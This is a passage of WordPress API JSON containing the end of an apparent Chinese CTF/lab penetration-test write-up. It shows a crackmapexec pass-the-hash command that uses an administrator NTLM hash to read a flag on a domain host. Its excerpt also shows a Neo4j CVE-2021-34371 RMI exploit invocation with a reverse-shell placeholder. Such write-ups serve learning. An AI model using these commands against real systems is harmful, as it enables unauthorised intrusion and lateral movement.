\/><\/p>\n<p>flag3\u5e94\u8be5\u8fd8\u5728\u57df\u5185\u673a\u5668\u7684admin\u90a3\u91cc\uff0c\u518d\u6a2a\u5411\u8fc7\u53bb<\/p>\n<pre class=\"prettyprint linenums\" ><code>p4 crackmapexec smb 172.22.6.25 -u administrator -H 04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x &quot;type C:\\Users\\Administrator\\flag\\flag03.txt&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a2d1ee03e90d874c6ba4e.jpg\" alt=\"\" \/><\/p>\n<p>\u7ed3\u675f<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u53c8\u662f\u88ab\u4ee3\u7406\u6298\u78e8\u7684\u4e00\u5929 \u7aef\u53e3\u626b\u63cf \u4e00\u773c\u4e01\u771fneo4j &#8211;&gt; https:\/\/github.com\/zwjjustdoit\/CVE-2021-34371.jar \u76f4\u63a5\u6253 java -jar rhino_gadget.jar rmi:\/\/39.98.219.153:1337 &quot;\u53cd\u5f39shell\u547d\u4ee4&quot; \u62ff\u5230shell ifconfig\u4e0b eth0: flags=4163&lt;U [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-235","post","type-post","status-publish","format-standard","hentry","category-wp","category-learn"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/235","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":1,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":236,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions\/236"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}